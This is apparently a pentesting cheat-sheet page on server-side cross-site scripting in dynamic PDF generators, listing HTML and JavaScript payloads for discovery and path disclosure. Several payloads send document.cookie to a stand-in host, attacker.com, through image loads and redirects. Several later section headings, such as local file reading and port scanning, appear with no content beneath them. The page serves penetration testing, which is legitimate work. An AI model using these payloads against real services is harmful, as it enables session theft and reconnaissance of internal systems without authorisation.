Server Side XSS (Dynamic PDF)
Server Side XSS (Dynamic PDF)
Payloads
Discovery
<!-- Basic discovery, Write "test"-->
<img src="x" onerror="document.write('test')" />
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">Path disclosure
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>Load an external script
Read local file
Get external web page response as attachment (metadata endpoints)
Bot delay
Port Scan
References
Last updated
